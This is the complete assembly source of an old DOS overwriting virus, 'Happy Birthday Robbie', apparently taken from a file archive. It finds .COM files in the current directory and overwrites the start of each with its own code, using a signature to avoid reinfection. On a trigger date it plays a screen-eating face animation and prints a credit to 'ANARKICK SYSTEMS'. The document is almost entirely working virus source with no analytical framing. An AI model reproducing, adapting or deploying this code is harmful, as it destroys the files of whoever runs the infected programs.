home *** CD-ROM | disk | FTP | other *** search
- ;
- ;Happy Birthday Robbie Virus
- ;
-
- code segment 'CODE'
- assume cs:code,ds:code,es:code,ss:code
-
- org 0100h
-
- code_length equ finish - start
- lf equ 0Ah
- cr equ 0Dh
-
- start label near
-
- id_bytes proc near
- mov si,si ; Serves no purpose: our ID
- id_bytes endp
-
- main: mov ah,04Eh ; DOS find first file function
- mov cx,00100111b ; CX holds attribute mask
- mov dx,offset com_spec ; DX points to "*.COM"
-
- file_loop: int 021h
- jc exit_virus ; If there are no files, go
- ; off
-
- call infect_file ; Try to infect found file
- jne exit_virus ; Exit if successful
-
- mov ah,04Fh ; DOS find next file function
- jmp short file_loop ; Repeat until out of files
-
- exit_virus:
- mov ah,2Ah
- int 21h
- cmp dl,3
- jne dos_drop
- cmp dh,10
- je eat_screen
- dos_drop: int 20h
- eat_screen: mov byte ptr count,0
- mov ah,00
- mov al,03
- int 10h
- mov ah,08
- int 10h
- mov byte ptr count2,al
- cmp byte ptr count2,00
- jne draw_face
- mov byte ptr count2,0fh
- draw_face:
- mov ah,01 ;set cursor type
- mov cl,00
- mov ch,40h
- int 10h
- mov cl,00
- mov dl,4fh
- mov ah,06 ;clear the display window
- mov al,00
- mov bh,0fh ;blank line attribs
- mov ch,00 ;starting at upper left corner
- mov cl,00 ; to
- mov dh,00 ;row 0
- mov dl,4fh ;column 4Fh
- int 10h
- mov ah,02 ;set cursor position
- mov dh,00 ;to row 0,
- mov dl,1fh ;column 1Fh
- mov bh,00 ;in graphics mode
- int 10h
- mov dx,offset eyes ;get the eyes
- mov ah,09 ;and draw them to screen
- mov bl,0fh ;this colour
- int 21h
- mov ah,02 ;reposition character
- mov dh,01 ;to row 1,
- mov dl,00 ;column 0
- int 10h
- mov ah,09 ;write character and attrib
- mov al,0dch ;character shape
- mov bl,0fh ;character colour
- mov cx,50h ;number of characters.
- int 10h
- mov ah,02 ;reposition cursor
- mov dh,18h ;to row 18h
- mov dl,00 ;column 0
- int 10h
- mov ah,09 ;write character & attribute
- mov al,0dfh ;character shape
- mov bl,0fh ;character colour
- mov cx,0050h ;number of characters
- int 10h
- mov dl,00 ;back to column 0
- make_teeth:
- mov ah,02 ;set cursor position
- mov dh,02 ;to row 2
- int 10h
- mov ah,09 ;write the character
- mov al,55h ; "U" for one top tooth
- mov bl,0fh ; colour code
- mov cx,1 ;only one tooth
- int 10h
- mov ah,02
- mov dh,17h ;row 17h
- inc dl ;increase column number
- int 10h
- mov ah,09 ;write a character there.
- mov al,0efh ;character "∩" for bottom teeth
- mov bl,0fh ;colour code
- int 10h
- inc dl ;increment column number
- cmp dl,50h ;is there 50h of them yet?
- jl make_teeth ;make more if not
- mov byte ptr count,0 ;0 the counter
- pause_1:
- mov cx,7fffh
- a_loop:
- loop a_loop ;pause
- inc byte ptr count
- cmp byte ptr count,0ah
- jl pause_1
- mov byte ptr count,00
- mov cl,00 ;from column 0
- mov dl,4fh ;to column 79,
- close_jaws:
- mov ah,06 ;scroll the page up
- mov al,01 ;blanking a line
- mov bh,byte ptr count ;with this attribute
- mov ch,0dh ;and from row 13
- mov dh,18h ;to row 24
- int 10h
- mov ah,07 ;scroll downward
- mov al,01 ;blanking one line
- mov bh,byte ptr count ;with this attribute
- mov ch,00 ;from row 0
- mov dh,0ch ;to row 12
- int 10h
- mov cx,3fffh
- b_loop:
- loop b_loop ;pause
- inc byte ptr count
- cmp byte ptr count,0bh
- jl close_jaws
- mov byte ptr count,00
- pause_2:
- mov cx,7fffh
- finish_up:
- loop finish_up
- inc byte ptr count ;increment count by 1
- cmp byte ptr count,0ah ;is it a 10 yet?
- jl pause_2 ;no? loop again...
- mov ah,06 ;scroll page up
- mov al,00 ;blank entire window
- mov bh,byte ptr count ;with this attribute
- mov ch,00 ;from row 0,
- mov cl,00 ;column 0,
- mov dh,18h ;to row 18h
- mov dl,4fh ;column 79
- int 10h
- mov ah,01 ;reset cursor type
- mov cl,07
- mov ch,06 ;everything is back to normal
- int 10h
- mov si,offset rabid
- fuckin_loop: lodsb
- or al,al
- jz $
- mov ah, 0Eh
- int 10h
- jmp short fuckin_loop
- infect_file:
- mov ax,03D02h ; DOS open file function,
- ; read-write
- mov dx,09Eh ; DX points to the victim
- int 021h
-
- xchg bx,ax ; BX holds file handle
-
- mov ah,03Fh ; DOS read from file function
- mov cx,2 ; CX holds byte to read (2)
- mov dx,offset buffer ; DX points to buffer
- int 021h
-
- cmp word ptr [buffer],0F68Bh;Are the two bytes "MOV SI,SI"
- pushf ; Save flags
- je close_it_up ; If not, then file is OK
-
- cwd ; Zero CX \_ Zero bytes from
- ; start
- mov cx,dx ; Zero DX /
- mov ax,04200h ; DOS file seek function,
- ; start
- int 021h
-
- mov ah,040h ; DOS write to file function
- mov cx,code_length ; CX holds virus length
- mov dx,offset start ; DX points to start of virus
- int 021h
-
- close_it_up: mov ah,03Eh ; DOS close file function
- int 021h
-
- popf ; Restore flags
- ret ; Return to caller
-
- buffer dw ? ; Buffer to hold test data
-
- ; Initialized data goes here
-
- com_spec db "*.COM",0 ; What to infect: all COM
- count db 0, 0
- count2 db 0, 0
- eyes db '(o) (o)$'
- dinked db '[Malmsey Habitat v. 1.3]', 0
- rabid db cr, lf
- db 'Warmest Regards to RABID', cr, lf
- db 'from -- ANARKICK SYSTEMS! ',0,'$'
-
- finish:
-
- code ends
- end start
-
-